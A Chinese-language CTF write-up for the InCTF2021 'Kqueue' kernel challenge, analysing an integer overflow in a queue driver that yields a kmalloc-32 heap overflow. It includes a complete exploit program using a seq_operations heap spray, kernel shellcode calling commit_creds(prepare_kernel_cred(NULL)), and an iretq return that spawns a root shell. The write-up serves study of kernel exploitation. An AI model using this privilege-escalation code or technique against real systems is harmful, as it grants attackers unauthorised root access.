InCTF2021 - Kqueue 学习记录
-
漏洞分析
在内核态实现了一个队列管理程序,主要部分还是堆的增删改查。
队列结构:
// 管理结构 queue
typedef struct{
uint16_t data_size; // 队列每一项 entry 的大小
uint64_t queue_size; // 队列整体的大小
uint32_t max_entries; // 队列最多的项数
uint16_t idx;
char* data;
}queue;
// 节点结构 queue_entry
typedef struct queue_entry queue_entry;
struct queue_entry{
uint16_t idx; //当前entry的idx
char *data; //当前entry维护的数据
queue_entry *next; //next指针
};
在 kqueue_ioctl 中实现了类似菜单的功能
create_kqueue 实现创建节点
static noinline long create_kqueue(request_t request){
long result = INVALID;
// 最多是五个队列
if(queueCount > MAX_QUEUES)
err("[-] Max queue count reached");
// 创建队列时元素可以等于 1,不能小于 1
if(request.max_entries<1)
err("[-] kqueue entries should be greater than 0");
if(request.data_size>MAX_DATA_SIZE)
err("[-] kqueue data size exceed");
queue_entry *kqueue_entry;
ull space = 0;
if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true) // 整数溢出
err("[-] Integer overflow");
/* Size is the size of queue structure + size of entry * request entries */
ull queue_size = 0;
if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
err("[-] Integer overflow");
if(queue_size>sizeof(queue) + 0x10000)
err("[-] Max kqueue alloc limit reached");
queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));
queue->data_size = request.data_size;
queue->max_entries = request.max_entries;
queue->queue_size = queue_size;
kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));
queue_entry* current_entry = kqueue_entry;
queue_entry* prev_entry = current_entry;
uint32_t i=1;
// [1,request.max_entries]
for(i=1;i<request.max_entries+1;i++){
if(i!=request.max_entries)
prev_entry->next = NULL;
current_entry->idx = i;
current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));
/* Increment current_entry by size of queue_entry */
current_entry += sizeof(queue_entry)/16;
/* Populate next pointer of the previous entry */
prev_entry->next = current_entry;
prev_entry = prev_entry->next;
}
// 这里尝试找到kqueue中一个不为NULL的项
uint32_t j = 0;
for(j=0;j<MAX_QUEUES;j++){
if(kqueues[j] == NULL)
break;
}
// break出for循环后 j = MAX_QUEUES,不会触发下面的if
if(j>MAX_QUEUES)
err("[-] No kqueue slot left");
// 导致我们越界分配了一个 queue?
/* Assign the newly created kqueue to the kqueues */
// queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
kqueues[j] = queue;
queueCount++;
result = 0;
return result;
}
首先是 __builtin_umulll_overflow 函数,gcc 内置用于检测乘法溢出,这里计算 sizeof(queue_entry) * (request.max_entries+1) 是否溢出,并把结果存在 space 中。但是 request.max_entries 本身没有检查溢出,32 位的无符号数可能造成整数溢出,这样就可以绕过乘法溢出的检测。
此时 queue->max_entries 是一个极大值,而因为前面的 request.max_entries + 1 溢出为 0,所以 space 也还是 0,那么 queue->queue_size 大小就是 sizeof(queue)
接着在下面的循环中 request.max_entries+1 溢出导致不会进入循环,没有为 data 分配 queue_entry。
然后看保存队列的部分:save_kqueue_entries:
static noinline long save_kqueue_entries(request_t request){
......
// 为此需要save的队列分配空间,size为queue->queue->size
char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));
// 先拷贝queue头数据,这里没有问题
if(queue->data && request.data_size)
validate(memcpy(new_queue,queue->data,request.data_size));
else
err("[-] Internal error");
// 再拷贝所有queue的entry数据,这里发生了溢出
uint32_t i=0;
for(i=1;i<request.max_entries+1;i++){
if(!kqueue_entry || !kqueue_entry->data)
break;
if(kqueue_entry->data && request.data_size)
validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
else
err("[-] Internal error");
kqueue_entry = kqueue_entry->next;
new_queue += queue->data_size;
}
......
}
根据我们的构造,这里会给 new_queue 分配 sizeof(queue) 大小的内存,明显是不够的,这样在下面的 memcpy(new_queue,queue->data,request.data_size) 中就会发生溢出。
具体的利用需要用 seq_operations + 堆喷射。
-
漏洞利用
给 new_queue 分配的大小为 queue->queue_size,也就是 0x18,根据 kmalloc 的规则会在 kmalloc-32 中取,那么就要在这个 slab 中找可用的结构体,这里用到了 seq_operations。
struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
当打开一个 stat 文件时会在内核空间分配一个 seq_operations 结构体,当 read 一个 stat 文件时,系统会调用 proc_ops 的 proc_read_iter 指针,其默认值为 seq_read_iter() 函数(位于 fs/seq_file.c),可利用的逻辑在:
ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter) { struct seq_file *m = iocb->ki_filp->private_data; //... p = m->op->start(m, &m->index); //...
然后会调用 seq_operations 中的 start,只要控制了 seq_operations->start 后再读取对应的 stat 文件就能劫持控制流。为了保证能溢出到对应地址,需要用到堆喷射。
下一步就是具体的提权,因为开了 kaslr,无法确定 prepare_kernel_cred 和 commit_creds 的地址,但可以通过编写 shellcode 在内核栈上找恰当数据从而获得内核地址,然后执行 commit_creds(prepare_kernel_cred(NULL))。
exp.c:
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sys/prctl.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/stat.h> typedef struct { uint32_t max_entries; uint16_t data_size; uint16_t entry_idx; uint16_t queue_idx; char* data; }request_t; long dev_fd; size_t root_rip; size_t user_cs, user_ss, user_rflags, user_sp; void saveStatus(void) { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); } void getRootShell(void) { puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m"); if(getuid()) { puts("\033[31m\033[1m[x] Failed to get the root!\033[0m"); exit(-1); } puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m"); system("/bin/sh"); exit(0);// to exit the process normally instead of segmentation fault } void errExit(char * msg) { printf("\033[31m\033[1m[x] Error: \033[0m%s\n", msg); exit(EXIT_FAILURE); } void createQueue(uint32_t max_entries, uint16_t data_size) { request_t req = { .max_entries = max_entries, .data_size = data_size, }; ioctl(dev_fd, 0xDEADC0DE, &req); } void editQueue(uint16_t queue_idx,uint16_t entry_idx,char *data) { request_t req = { .queue_idx = queue_idx, .entry_idx = entry_idx, .data = data, }; ioctl(dev_fd, 0xDAADEEEE, &req); } void deleteQueue(uint16_t queue_idx) { request_t req = { .queue_idx = queue_idx, }; ioctl(dev_fd, 0xBADDCAFE, &req); } void saveQueue(uint16_t queue_idx,uint32_t max_entries,uint16_t data_size) { request_t req = { .queue_idx = queue_idx, .max_entries = max_entries, .data_size = data_size, }; ioctl(dev_fd, 0xB105BABE, &req); } void shellcode(void) { __asm__( "mov r12, [rsp + 0x8];" "sub r12, 0x201179;" "mov r13, r12;" "add r12, 0x8c580;" // prepare_kernel_cred "add r13, 0x8c140;" // commit_creds "xor rdi, rdi;" "call r12;" "mov rdi, rax;" "call r13;" "swapgs;" "mov r14, user_ss;" "push r14;" "mov r14, user_sp;" "push r14;" "mov r14, user_rflags;" "push r14;" "mov r14, user_cs;" "push r14;" "mov r14, root_rip;" "push r14;" "iretq;" ); } int main(int argc, char **argv, char**envp) { long seq_fd[0x200]; size_t *page; size_t data[0x20]; saveStatus(); root_rip = (size_t) getRootShell; dev_fd = open("/dev/kqueue", O_RDONLY); if (dev_fd < 0) errExit("FAILED to open the dev!"); for (int i = 0; i < 0x20; i++) data[i] = (size_t) shellcode; createQueue(0xffffffff, 0x20 * 8); editQueue(0, 0, data); for (int i = 0; i < 0x200; i++) seq_fd[i] = open("/proc/self/stat", O_RDONLY); saveQueue(0, 0, 0x40); for (int i = 0; i < 0x200; i++) read(seq_fd[i], data, 1); }
无语的是将文件系统解包再重新打包后 qemu 不能正常运行,没办法拿了上一个题的文件系统
-
参考文献